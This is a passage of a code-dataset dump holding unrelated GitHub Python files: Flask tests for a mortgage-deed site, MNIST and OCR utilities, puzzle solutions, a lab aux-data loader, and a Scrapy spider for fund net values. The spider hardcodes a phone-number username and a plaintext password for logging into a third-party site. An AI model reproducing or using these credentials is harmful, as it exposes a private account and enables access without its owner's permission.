client.get('/borrower-reference')\n\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    def test_validate_dob_future(self):\n        form = {\n            \"dob-day\": \"01\",\n            \"dob-month\": \"01\",\n            \"dob-year\": date.today().year + 1\n        }\n        dobResult = validate_dob(form)\n        self.assertEqual(dobResult, \"Please enter a valid date of birth\")\n\n    @with_context\n    def test_validate_dob(self):\n        form = {\n            \"dob-day\": \"01\",\n            \"dob-month\": \"01\",\n            \"dob-year\": date.today().year - 1\n        }\n        dobResult = validate_dob(form)\n        self.assertEqual(dobResult, None)\n\n    @with_context\n    @with_client\n    def test_request_auth_code(self, client):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n\n        res = client.get('/enter-authentication-code')\n\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    def test_authenticate_code(self, client):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n            sess['borrower_token'] = 'A2C5G6'\n\n        res = client.post('/enter-authentication-code', data={'auth_code': 'AAA123'})\n\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    def test_show_confirming_deed_page_check(self, client):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n            sess['borrower_token'] = 'A2C5V6'\n\n        res = client.post('/signing-mortgage-deed', data={'auth_code': 'AAA123'})\n\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    def test_verify_auth_code(self, client):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n\n        res = client.post('/verify-auth-code', data={'auth_code': 'AAA123'})\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    def test_verify_auth_code_no_js(self, client):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n\n        res = client.post('/verify-auth-code-no-js', data={'auth_code': 'AAA123'})\n\n        self.assertEqual(res.status_code, 302)\n\n    @with_context\n    @with_client\n    def test_verify_auth_code_no_js_with_missing_authcode(self, client):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n\n        res = client.post('/verify-auth-code-no-js')\n\n        self.assertEqual(res.status_code, 400)\n\n    @with_context\n    @with_client\n    def test_confirm_mortgage_is_signed(self, client):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n\n        res = client.get('/confirm-mortgage-is-signed')\n\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    def test_naa_page_shown(self, client):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n\n        res = client.get('/confirm-naa')\n\n        self.assertEqual(res.status_code, 200)\n","repo_name":"LandRegistry-Attic/borrower-frontend","sub_path":"tests/test_search_deed.py","file_name":"test_search_deed.py","file_ext":"py","file_size_in_byte":9787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6948553095","text":"import tensorflow as tf\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom keras.utils import to_categorical\n\ndef load_data(df):\n    train_y = df['label']\n    train_X = df.drop('label', axis=1)\n    \n    return train_test_split(train_X, train_y, test_size=0.1, random_state=0)\n\ndef normalize_inputs(x, y):\n    x = tf.cast(x / 255, tf.float32)\n    y = to_categorical(y, 10)\n    y = tf.cast(y, tf.int32)\n    return x, y\n\ndef preprocess_data(x, y):\n    labels = tf.cast(y, tf.int32)\n    input_data = tf.cast(x, tf.float32)\n    return (dict({'image': input_data}), labels)\n\ndef input_fn(train_X, train_y, batch_size=64, shuffle=False):\n    dataset = tf.data.Dataset.from_tensor_slices((train_X, train_y))\n\n    dataset = dataset.map(lambda x,y: preprocess_data(x, y))\n    \n    if shuffle:\n        dataset = dataset.shuffle(buffer_size=128)\n    \n    dataset = dataset.batch(batch_size)\n\n    itr = dataset.make_one_shot_iterator()\n    features, target = itr.get_next()\n\n    return features, target","repo_name":"snugdad/MNST_Dataset_Analysis","sub_path":"trainer/processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34280553572","text":"from typing import *\nimport re\n\nimport pytesseract as ocr\nfrom PIL import Image, ImageStat\n\nimport recruit_tag.recruit_data as db\n\n\ndef recognize_tags(img: Image.Image) -> List[str]:\n    w, h = img.size\n    if h > w:\n        raise InvalidImgError(f'invalid image width/height ratio: {w/h}')\n\n    if h < 500 or w < 500:\n        raise InvalidImgError(f'resolution too low: {w}x{h}')\n\n    tag_img_list = crop_tags(img)\n    tag_img_batch = v_concat_tag_imgs(tag_img_list)\n\n    stat = ImageStat.Stat(tag_img_batch)\n    if stat.mean[0] < 210:\n        raise InvalidImgError(\n            f'average brightness of tag image batch is too low {stat.mean[0]}')\n\n    tag_txt_list = recognize_tag_batch(tag_img_batch)\n\n    return tag_txt_list\n\n# concatenate tag images vertically\n\n\ndef v_concat_tag_imgs(tag_img_list: List[Image.Image]) -> Image.Image:\n    w = min(img.size[0] for img in tag_img_list)\n    h = sum(img.size[1] for img in tag_img_list)\n\n    dst = Image.new('L', (w, h))\n    y = 0\n    for img in tag_img_list:\n        dst.paste(img, (0, y))\n        y += img.size[1]\n\n    return dst\n\n\ndef crop_tags(img: Image.Image) -> List[Image.Image]:\n    w, h = img.size\n    vw, vh = w/100, h/100\n    pos_list = get_tag_pos(vw, vh)\n\n    return [crop_one_tag(img, pos) for pos in pos_list]\n\n\ndef crop_one_tag(img: Image.Image, tag_pos: Tuple[float]) -> List[Image.Image]:\n    tag_img = img.crop(tag_pos)\n    res = binarise_tag_img(tag_img)\n\n    return res\n\n\ndef get_tag_pos(vw: float, vh: float) -> List[Tuple[float]]:\n    '''\n    vw: 1% of the width of view\n    vh: 1% of the height of view\n    '''\n    return [\n        (50*vw-36.481*vh, 50.185*vh, 50*vw-17.315*vh, 56.111*vh),\n        (50*vw-13.241*vh, 50.185*vh, 50*vw+6.111*vh, 56.111*vh),\n        (50*vw+10.000*vh, 50.185*vh, 50*vw+29.259*vh, 56.111*vh),\n        (50*vw-36.481*vh, 60.278*vh, 50*vw-17.315*vh, 66.019*vh),\n        (50*vw-13.241*vh, 60.278*vh, 50*vw+6.111*vh, 66.019*vh),\n    ]\n\n\ndef binarise_tag_img(img: Image.Image) -> Image.Image:\n    # assuming dark background and white text\n    # convert to white background and black text\n    res = img.convert('L').point(lambda m: 255 if m < 128 else 0, mode='1')\n    stat = ImageStat.Stat(res)\n\n    # if the lightness to low, means black ground is used, convert to white background\n    if stat.mean[0] < 128:\n        # ImageOps does not support inverting \"L\" format image\n        # invert on my own\n        res = res.point(lambda m: 255 - m, mode='1')\n\n    return res\n\n\ndef recognize_one_tag(img: Image.Image) -> str:\n    res = ocr.image_to_string(img, lang='chi_sim', config='--psm 11')\n    res = res.replace(' ', '').strip()\n    if res not in TAGS:\n        res = auto_correct(res)\n    return res\n\n\nNOT_NEWLINE_AND_CHINESE = re.compile(r'[^\\n\\u4E00-\\u9FFF]+')\nREPEAT_NEWLINE = re.compile('\\n+')\n\n\ndef recognize_tag_batch(img: Image.Image) -> List[str]:\n    res = ocr.image_to_string(img, lang='chi_sim', config='--psm 11')\n\n    # remove non-useful char\n    res = re.sub(NOT_NEWLINE_AND_CHINESE, '', res).strip()\n    # split with newline\n    res_list = re.split(REPEAT_NEWLINE, res)\n    # unique elements\n    res_list = list(set(res_list))\n\n    if len(res_list) != 5:\n        raise InvalidImgError(f'cannot recognize all 5 tags, got {res_list}')\n\n    for word in res_list:\n        if word not in db.TAGS:\n            raise UnknownTagError(word)\n    return res_list\n\ndef auto_correct(word: str) -> str:\n    raise UnknownTagError(word)\n\nclass UnknownTagError(Exception):\n    pass\n\n\nclass InvalidImgError(Exception):\n    pass\n","repo_name":"Kenton1989/mephisto-bot","sub_path":"mephisto/plugins/recruit_tag/tag_ocr.py","file_name":"tag_ocr.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12577940231","text":"# https://www.interviewbit.com/courses/programming/topics/strings/problems/pretty-json/\n# \n\nclass Solution:\n    # @param A : string\n    # @return a list of strings\n    def prettyJSON(self, A):\n        result = []\n        indentLevel = 0\n        wordBeginning = None\n        \n        for i, char in enumerate(A):\n            if char == \" \": \n                continue\n            \n            elif char in [\"[\", \"{\"]:\n                nextCharComma = i<len(A)-1 and A[i+1] == \",\"\n                result.append(\"\\t\"*indentLevel + char + (\",\" if nextCharComma else \"\"))\n                indentLevel += 1\n                \n            elif char in [\"]\", \"}\"]:\n                indentLevel -= 1\n                nextCharComma = i<len(A)-1 and A[i+1] == \",\"\n                result.append(\"\\t\"*indentLevel + char + (\",\" if nextCharComma else \"\"))\n            \n            elif wordBeginning == None and char != \",\":\n                wordBeginning = i \n\n            if wordBeginning != None and (\n                char == \",\"\n                or (i<len(A)-1 and A[i+1] in [\"]\", \"}\"])\n                or (char == \":\" and i<len(A) and A[i+1] in [\"[\", \"{\"]) ):\n                    \n                    result.append(\"\\t\"*indentLevel + A[wordBeginning:i+1])\n                    wordBeginning = None\n                \n        return result\n        \n","repo_name":"diegomontoyas/Algorithms","sub_path":"InterviewBit/pretty-json.py","file_name":"pretty-json.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13304735261","text":"\ndef find_identical_snowflakes(snowflakes):\n    print(snowflakes)\n    for i in range(len(snowflakes)):\n        for j in range(i+1, len(snowflakes)):\n            if len(snowflakes[i]) == len(snowflakes[j]):\n                for k in range(len(snowflakes[i])):\n                    if (_identical_right(snowflakes[i], snowflakes[j], k) or _identical_left(snowflakes[i],snowflakes[j], k)):\n                        return True\n    return False\n\ndef _identical_right(s1, s2, start):\n    for offset in range(len(s1)):\n        if s1[(start + offset) % len(s1)] != s2[offset]:\n            return False\n    return True\n\n\ndef _identical_left(s1, s2, start):\n    for offset in reversed(range(len(s1))):\n        if s1[(start - offset) % len(s1)] != s2[offset]:\n            return False\n    return True\n\n\nif __name__ == '__main__':\n    n = int(input())\n    integers = []\n    snowflakes = []\n    for _ in range(n):\n        snowflakes.append(list(map(int, input().split())))\n\n\n    print(find_identical_snowflakes(snowflakes))\n    \n","repo_name":"tmpoe/algorithmic-thinking","sub_path":"unique_snowflakes/slow_brute_force_solution.py","file_name":"slow_brute_force_solution.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70191497681","text":"# takes in an unmasked value and uses the bitmask to return a masked value\n# bitmask is a string that represents a bitmask\n# val is an int representing an unmasked integer\n# Returns an integer representing the masked value\ndef maskValue(bitmask, val):\n\t# print(\"Mask called with: \" + bitmask + ' ' + str(val))\n\tunmaskedBinaryString = '{:036b}'.format(val)\n\n\tif len(unmaskedBinaryString) != 36 or len(bitmask) != 36:\n\t\tprint(\"Unmasked or bitmask not len 36: \" + unmaskedBinaryString + ' ' + str(bitmask))\n\t\tquit()\n\n\tmaskedBinaryString = ''\n\tfor i, v in enumerate(unmaskedBinaryString):\n\t\tmaskedBinaryString += v if bitmask[i] == 'X' else bitmask[i]\n\n\treturn int(maskedBinaryString, 2)\n\n# takes in an unmasked address and uses the bitmask to return a list of all possible addresses\n# bitmask is a string that represents a bitmask\n# addr is an int representing an unmasked integer\n# Returns a list of strings, representing all possible addresses\ndef maskAddress(bitmask, addr):\n\t# print(\"Mask address\")\n\t# print(bitmask)\n\t# print(addr)\n\tunmaskedBinaryAddr = '{:036b}'.format(addr)\n\n\tif len(unmaskedBinaryAddr) != 36 or len(bitmask) != 36:\n\t\tprint(\"Unmasked or bitmask not len 36: \" + unmaskedBinaryAddr + ' ' + str(bitmask))\n\t\tquit()\n\n\tmaskedBinaryAddrStr = ''\n\tfor i, v in enumerate(unmaskedBinaryAddr):\n\t\tif bitmask[i] == '0':\n\t\t\tmaskedBinaryAddrStr += unmaskedBinaryAddr[i]\n\t\telif bitmask[i] == '1':\n\t\t\tmaskedBinaryAddrStr += '1'\n\t\telif bitmask[i] == 'X':\n\t\t\tmaskedBinaryAddrStr += 'X'\n\t\telse:\n\t\t\tprint(\"Bad bitmask in maskAddress: \" + bitmask + ' ' + str(i) + ' ' + bitmask[i])\n\t\t\tquit()\n\n\tintAddrs = []\n\tqueueToUnmask = [maskedBinaryAddrStr]\n\twhile len(queueToUnmask) > 0:\n\t\taddr = queueToUnmask.pop(0)\n\t\tif 'X' not in addr:\n\t\t\tintAddrs.append(int(addr, 2))\n\t\telse:\n\t\t\txIndex = addr.index('X')\n\t\t\taddr0 = addr[:xIndex] + '0' + addr[xIndex+1:]\n\t\t\taddr1 = addr[:xIndex] + '1' + addr[xIndex+1:]\n\t\t\tqueueToUnmask.append(addr0)\n\t\t\tqueueToUnmask.append(addr1)\n\treturn intAddrs\n\ndef part1():\n\tbitmask = ''\n\tmemory = dict()\n\twith open('input.txt') as f:\n\t\tfor line in f:\n\t\t\tif line[:3] == 'mas':\n\t\t\t\tbitmask = line.split('=')[1].strip()\n\t\t\telif line[:3] == 'mem':\n\t\t\t\taddress = int(line.split('=')[0].strip()[4:-1])\n\t\t\t\tunmaskedValue = int(line.split('=')[1].strip())\n\t\t\t\tmaskedValue = maskValue(bitmask, unmaskedValue)\n\t\t\t\tmemory[address] = maskedValue\n\t\t\telse:\n\t\t\t\tprint(\"Bad line when reading line: \" + line)\n\t\t\t\tquit()\n\n\trunningSum = 0\n\tfor v in memory:\n\t\trunningSum += memory[v]\n\tprint('Part 1 Sum == ' + str(runningSum))\n\ndef part2():\n\tbitmask = ''\n\tmemory = dict()\n\twith open('input.txt') as f:\n\t\tfor line in f:\n\t\t\tif line[:3] == 'mas':\n\t\t\t\tbitmask = line.split('=')[1].strip()\n\t\t\telif line[:3] == 'mem':\n\t\t\t\taddress = int(line.split('=')[0].strip()[4:-1])\n\t\t\t\tval = int(line.split('=')[1].strip())\n\t\t\t\tmaskedAddrs = maskAddress(bitmask, address)\n\t\t\t\tfor a in maskedAddrs:\n\t\t\t\t\tmemory[a] = val\n\n\t\t\telse:\n\t\t\t\tprint(\"Bad line when reading line: \" + line)\n\t\t\t\tquit()\n\n\trunningSum = 0\n\tfor v in memory:\n\t\trunningSum += memory[v]\n\tprint('Part 2 Sum == ' + str(runningSum))\n\ndef main():\n\tpart1()\n\tpart2()\nmain()","repo_name":"imtn/imtn-AdventOfCode","sub_path":"2020/day14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43418521300","text":"import json\nimport requests\n\ndef getRepos(githubID):\n    output = []\n    githubIDURL = 'https://api.github.com/users/{}/repos'.format(githubID)\n    githubInfo = requests.get(githubIDURL)\n    reposInfo = json.loads(githubInfo.text)\n    output.append('User: {}'.format(githubID))\n\n    try:\n        reposInfo[0]['name']\n    except (TypeError, KeyError, IndexError):\n        return 'error encountered while getting repos'\n\n    try:\n        for repo in reposInfo:\n            repoName = repo['name']\n            repoURL = 'https://api.github.com/repos/{}/{}/commits'.format(githubID, repoName)\n            repoInfo = requests.get(repoURL)\n            repoData = json.loads(repoInfo.text)\n            output.append('Repo: {}\\nCommits: {}'.format(repoName, len(repoData)))\n    except (TypeError, KeyError, IndexError):\n        return 'error encountered while getting commits'\n    return output\n\ndef main():\n    idInput = input(\"Please enter the Github ID of the account you'd like to see the repos of: \")\n    for userInput in getRepos(idInput):\n        print(userInput)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"JDPablo/HW04a","sub_path":"partA.py","file_name":"partA.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32866544310","text":"# -*- coding: utf-8 -*-\n# Department：保障部\n# Author：王卓诚\n# Create_Date：2018-05-25\nfrom datetime import datetime\nfrom scrapy import Request\nfrom FundNavSpiders import GGFundNavItem\nfrom FundNavSpiders import GGFundNavSpider\n# from scrapy.utils.response import get_base_url\n# from urllib.parse import urljoin\n# from urllib.parse import urljoin\nfrom scrapy import FormRequest\nimport json\n\n\nclass YingWeiInvestSpider(GGFundNavSpider):\n    name = 'FundNav_YingWeiInvest'\n    sitename = '惟盈投资'\n    channel = '投顾净值'\n    allowed_domains = ['www.winingfund.com']\n\n    username = '13916427906'\n    password = 'ZYYXSM123'\n\n    fps = [{\n        'url': 'http://www.winingfund.com/index.php',\n        'ref': 'http://www.winingfund.com'\n    }]\n\n    def start_requests(self):\n        yield FormRequest(url='http://www.winingfund.com/portals/login.php?p=wyzx2',\n                          formdata={\n                              'username': self.username,\n                              'password': self.password\n                          })\n\n    def parse_fund(self, response):\n        arul = response.xpath('//ul[@class=\"dropdown-menu\"]/li')\n\n        for uu in arul:\n            url = uu.xpath('a/@href').extract_first()\n            url = url.replace('portals/product.php?p=', '')\n            if (not url.find('portals/') > -1):\n                url2 = 'http://www.winingfund.com/portals/api.php?callback=jQuery2140059739919985194234_1526870154121&command=2001&product=' + url + '&_=1526870154122'\n                self.ips.append({\n                    'url': url2,\n                    'ref': response.url\n                })\n\n    def parse_item(self, response):\n        fund_info = response.text\n        wz1 = fund_info.find('{\"result')\n        fund_info1 = fund_info[wz1:len(fund_info) - 1]\n        fund_info2 = json.loads(fund_info1)\n        productname_bf = fund_info2['result']['name']\n        for k, v in enumerate(fund_info2['result']['date']):\n            statistic_date = v\n            nav = fund_info2['result']['value'][k]\n            statistic_date = statistic_date.replace('/', '-')\n\n            item = GGFundNavItem()\n            item['sitename'] = self.sitename\n            item['channel'] = self.channel\n            item['url'] = response.url\n            item['fund_name'] = productname_bf\n            item['statistic_date'] = datetime.strptime(statistic_date, '%Y-%m-%d')\n            item['nav'] = float(nav) if nav else None\n            yield item\n","repo_name":"xhsong2009/ggscrapy","sub_path":"FundNavSpiders/Login/20180528_wzc_YingWeiZiInvest.py","file_name":"20180528_wzc_YingWeiZiInvest.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"21614137284","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n\nScript to load aux-files from two-photon setups (.lvd, .eye and .vid)\n\nCreated on Tue Jan 28, 2020\n\n@author: pgoltstein\n\"\"\"\n\n# Imports\nimport os, glob\nimport datetime\nimport numpy as np\nfrom scipy import stats as scistats\nimport matplotlib.pyplot as plt\n\n#<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n# Classes\n\nclass LvdAuxRecorder(object):\n    \"\"\" Loads and represents .lvd aux data. Auxdata is loaded and recoded to per-frame-values.\n\n        Inputs:\n\n        Aux data can be queried using class properties, e.g:\n        * auxtime = aux.timestamp\n        * shutter = aux.shutter\n        * stimulus = aux.stimulus\n        * position = aux.position\n        * auxdata = aux.data (2d array with all aux data)\n\n        In addition, the class provides access to the meta data as properties. For instance:\n        * samplingfreq = aux.sf returns the sampling frequency of the auxdata\n        * nchannels = aux.nchannels returns number of aux channels\n\n    \"\"\"\n\n    def __init__(self, filepath=\".\", filename=None, auxsettingsfile=None, nimagingplanes=1):\n        \"\"\" Initializes the class and loads and processes all auxdata\n            Inputs:\n            - filepath: Path to where the .lvd file is located\n            - filename: Optional exact filename\n            - auxsettingsfile: Optional filename holding the auxdata metadata such as the channel specifications (otherwise loaded from the file \"default.auxsettings.py\")\n            - nimagingplanes: Number of multilevel planes of imaging stack\n        \"\"\"\n        super(LvdAuxRecorder, self).__init__()\n\n        # Get filename and store inputs\n        if filename is None: filename = \"*.lvd\"\n        self._auxfile = glob.glob( os.path.join(filepath,filename) )[0]\n        self._auxfilename = self._auxfile.split(os.path.sep)[-1]\n        self._nimagingplanes = nimagingplanes\n        self._imagingplane = 0\n\n        # Get settings\n        if auxsettingsfile is None:\n            self_path = os.path.dirname(os.path.realpath(__file__))\n            settings_path = os.path.join( os.path.sep.join(  self_path.split(os.path.sep)[:-1] ), \"settings\" )\n            auxsettingsfile = os.path.join( settings_path, \"default.auxsettings.py\" )\n        settings = {}\n        with open(auxsettingsfile) as f:\n            exec(f.read(), settings)\n            self._channelsettings = settings[\"auxchannels\"]\n            self._processingsettings = settings[\"auxprocessing\"]\n        self._auxsettingsfile = auxsettingsfile\n\n        # Open the aux file for reading\n        with open(self._auxfile, 'rb') as f:\n\n            # Reset file index\n            f.seek(0)\n\n            # Get meta data\n            self._sf = int(np.fromfile(f, dtype='>f8', count=1))\n            self._nchan = int(np.fromfile(f, dtype='>f8', count=1))\n            tm = str(int(np.fromfile(f, dtype='>f8', count=1)))\n            self._datetime = datetime.datetime(year=int(tm[0:4]), month=int(tm[4:6]), day=int(tm[6:8]), hour=int(tm[8:10]), minute=int(tm[10:12]), second=int(tm[12:14]))\n            self._maxV = float(np.fromfile(f, dtype='>f8', count=1))\n\n            # Read aux data\n            auxdata = np.fromfile(f, dtype='>f8')\n            self._n = int(auxdata.shape[0]/self._nchan)\n            self._auxdata = np.reshape(auxdata,(self._n,self._nchan))\n\n        # Process aux channels\n        self._imframes, self._imifi = self._calculate_imaging_frames()\n        self._darkfr_on, self._darkfr_off, self._dataonsetframe = self._calculate_darkframes_dataonset()\n        self._shutter_open_fr, self._shutter_closed_fr = self._calculate_shutter_onset_offset_fr()\n\n\n    # properties\n    def __str__(self):\n        \"\"\" Returns a printable string with summary output \"\"\"\n        return \"AuxData file {} from {}\\n* Channel settings: {}\\n  {} channels, {} datapoints, samplingfreq={}Hz, max input={}V\\n  {} imaging frames, imaging samplingfreq={:0.2f}Hz, #planes={}\".format( self._auxfilename, self._datetime, self._auxsettingsfile, self._nchan, self._n, self._sf, self._maxV, len(self._imframes), self.imagingsf, self._nimagingplanes )\n\n    @property\n    def imagingifi(self):\n        \"\"\" Returns the real inter frame interval of the imaging stack \"\"\"\n        return self._imifi\n\n    @property\n    def imagingsf(self):\n        \"\"\" Returns the real sampling frequency of the imaging stack \"\"\"\n        return 1/self._imifi\n\n    @property\n    def sf(self):\n        \"\"\" Returns the sampling frequency of the auxdata \"\"\"\n        return self._sf\n\n    @property\n    def imagingframes(self):\n        \"\"\" Returns the onset timestamp of each imaging frame \"\"\"\n        return self._imframes\n\n    @property\n    def darkframes(self):\n        \"\"\" Returns the onset and offset of the darkframes \"\"\"\n        return self._darkfr_on, self._darkfr_off\n\n    @property\n    def shuttertimestamps(self):\n        \"\"\" Returns the onset and offset of the shutter in timestamps (s)\"\"\"\n        return self._shutter_open_fr/self._sf, self._shutter_closed_fr/self._sf\n\n    @property\n    def dataonsetframe(self):\n        \"\"\" Returns the onset frame of the clean imaging period \"\"\"\n        return self._dataonsetframe\n\n    @property\n    def stimulus_onsets(self):\n        \"\"\" calculates the imaging frames in which the stimulus onset happened \"\"\"\n        # Get channel info\n        stim_on_channelname = self._processingsettings[\"stimulusonset\"][\"channel\"]\n        stim_on_channelnr = self._channelsettings[stim_on_channelname][\"nr\"]\n        channelthreshold = self._processingsettings[\"stimulusonset\"][\"threshold\"]\n\n        # Threshold the frames\n        channeldata = self._auxdata[:,stim_on_channelnr]\n        channeldata = np.diff((channeldata > channelthreshold) * 1.0) > 0\n\n        # Find the frame onsets\n        frameonsets_aux = np.argwhere(channeldata) + 1 # +1 compensates shift introduced by np.diff\n\n        if frameonsets_aux.size == 0:\n            return np.array([])\n\n        # Convert to frames\n        frameonsets_fr = np.zeros_like(frameonsets_aux)\n        for ix in range(len(frameonsets_aux)):\n            frameonsets_fr[ix] = np.argmin( np.abs(self._imframes - frameonsets_aux[ix]) )\n\n        # Return stimulus onset frames\n        return frameonsets_fr.astype(np.int).ravel()\n\n    @property\n    def imagingplane(self):\n        \"\"\" Returns the currently selected image plane (relevant for exact frame timing) \"\"\"\n        return self._imagingplane\n\n    @imagingplane.setter\n    def imagingplane(self,imagingplane_nr):\n        \"\"\" Sets the imaging plane (relevant for exact frame timing) \"\"\"\n        self._imagingplane = int(imagingplane_nr)\n\n    # Methods\n    def raw_channel(self,nr=0):\n        \"\"\" returns the raw channel data, by channel number \"\"\"\n        return self._auxdata[:,nr]\n\n    # Internal methods\n    def _calculate_shutter_onset_offset_fr(self):\n        \"\"\" Calculates the onset and offset of the two photon shutter \"\"\"\n        # Get channel info\n        shutterchannelname = self._processingsettings[\"shutter\"][\"channel\"]\n        shutterchannelnr = self._channelsettings[shutterchannelname][\"nr\"]\n        channelthreshold = self._processingsettings[\"shutter\"][\"threshold\"]\n\n        # Threshold the frames\n        channeldata = self._auxdata[:,shutterchannelnr]\n\n        # Find onset and offset in aux channel\n        shutter_onset = np.argwhere( np.diff((channeldata > channelthreshold) * 1.0) > 0 ) + 1 # +1 compensates shift introduced by np.diff\n        shutter_offset = np.argwhere( np.diff((channeldata > channelthreshold) * 1.0) < 0 ) + 1 # +1 compensates shift introduced by np.diff\n\n        if len(shutter_onset) > 1:\n            shutter_onset = shutter_onset.ravel()[0]\n            print(\"  !! Multiple shutter onsets found, taking first one: {} !!\".format(shutter_onset))\n\n        if len(shutter_offset) > 1:\n            shutter_offset = shutter_offset.ravel()[0]\n            print(\"  !! Multiple shutter offsets found, taking first one: {} !!\".format(shutter_offset))\n\n        return int(shutter_onset), int(shutter_offset)\n\n    def _calculate_darkframes_dataonset(self):\n        \"\"\" Calculates the onset and offset of the darkframes and the data onset frame \"\"\"\n        # Get channel info\n        darkframeschannelname = self._processingsettings[\"darkframes\"][\"channel\"]\n        channelthreshold = self._processingsettings[\"darkframes\"][\"threshold\"]\n        channelresolution = self._processingsettings[\"darkframes\"][\"resolution\"]\n        channelvalue = self._processingsettings[\"darkframes\"][\"value\"]\n\n        # Get clean channel signal\n        cleaned_channel = self._clean_channel( darkframeschannelname, channelthreshold, channelresolution )\n\n        # Find onset in aux channel\n        df_onset = np.argwhere( np.diff((cleaned_channel==channelvalue) * 1.0) > 0 ) + 1 # +1 compensates shift introduced by np.diff\n        df_offset = np.argwhere( np.diff((cleaned_channel!=channelvalue) * 1.0) > 0 ) + 1 # +1 compensates shift introduced by np.diff\n\n        # Convert to frames\n        if df_onset.size == 0 and df_offset.size == 0:\n            df_onset_fr = None\n            df_offset_fr = None\n            dataonset = 0\n            return df_onset_fr, df_offset_fr, dataonset\n        else:\n            df_onset_fr = np.argmin( np.abs(self._imframes - df_onset[0]) )\n            df_offset_fr = np.argmin( np.abs(self._imframes - df_offset[0]) )\n            dataonset = np.ceil( df_offset_fr + self.imagingsf )\n\n        # Return dark frame onset, offset, dataonset; add/subtract 1 for safety\n        return int(df_onset_fr+1), int(df_offset_fr-1), int(dataonset+1)\n\n    def _calculate_imaging_frames(self):\n        \"\"\" calculates the aux samples that correspond with the imaging frame onsets \"\"\"\n        # Get channel info\n        framecountchannelname = self._processingsettings[\"framecounts\"][\"channel\"]\n        framecountchannelnr = self._channelsettings[framecountchannelname][\"nr\"]\n        channelthreshold = self._processingsettings[\"framecounts\"][\"threshold\"]\n\n        # Threshold the frames\n        channeldata = self._auxdata[:,framecountchannelnr]\n        channeldata = np.diff((channeldata > channelthreshold) * 1.0) > 0\n\n        # Find the frame onsets\n        frameonsets = np.argwhere(channeldata) + 1 # +1 compensates shift introduced by np.diff\n\n        # Adjust for multilevel (fast piezo) stacks\n        if self._nimagingplanes > 1:\n            frameonsets = frameonsets[self.imagingplane::self._nimagingplanes]\n\n        # Get inter frame interval and return data\n        ifi_samples = np.round(np.mean(frameonsets[1:]-frameonsets[:-1]))\n        ifi = ifi_samples / self._sf\n        return frameonsets, ifi\n\n    def _clean_channel(self, channelname, threshold, resolution):\n        \"\"\" cleans up the random electrical noise in channel \"\"\"\n        # Get channel data\n        channelnr = self._channelsettings[channelname][\"nr\"]\n        channeldata = self._auxdata[:,channelnr]\n\n        # Threshold the channel, find 'events'\n        channel_up = np.argwhere(np.diff((channeldata > threshold) * 1.0) > 0)\n        channel_down = np.argwhere(np.diff((channeldata < threshold) * 1.0) > 0)\n        channel_up += 1 # Because of the np.diff above, the frames shifted by 1\n        channel_down += 1\n\n        # Loop over events, set to channel value\n        cleaneddata = np.zeros_like(channeldata)\n        for on,off in zip(channel_up.ravel(),channel_down.ravel()):\n            cleanedvalues =  np.round( channeldata[on:off] / resolution )\n            values,counts = np.unique(cleanedvalues, return_counts=True)\n            cleaneddata[on:off] = values[np.argmax(counts)] * resolution\n\n        # Return cleaned channel\n        return cleaneddata\n","repo_name":"pgoltstein/category-learning-visual-areas","sub_path":"xx_analysissupport/auxrec.py","file_name":"auxrec.py","file_ext":"py","file_size_in_byte":11670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"21830246500","text":"import sys\n\n\ndef objcount(cls):\n    cls.counter = 0\n\n    def new_init(self, *args, **kwargs):\n        self.__class__.counter += 1\n        return self.__init(*args, **kwargs)\n    cls.__init = cls.__init__\n    cls.__init__ = new_init\n\n    def new_del(self, *args, **kwargs):\n        self.__class__.counter -= 1\n        return self.__del(*args, **kwargs)\n\n    def new_old_del(self, *args, **kwargs):\n        pass\n\n    if '__del__' in dir(cls):\n        cls.__del = cls.__del__\n    else:\n        cls.__del = new_old_del\n\n    cls.__del__ = new_del\n    return cls\n\n\nexec(sys.stdin.read())\n","repo_name":"Dark-Avery/pythonprac","sub_path":"20221115/1/prog.py","file_name":"prog.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
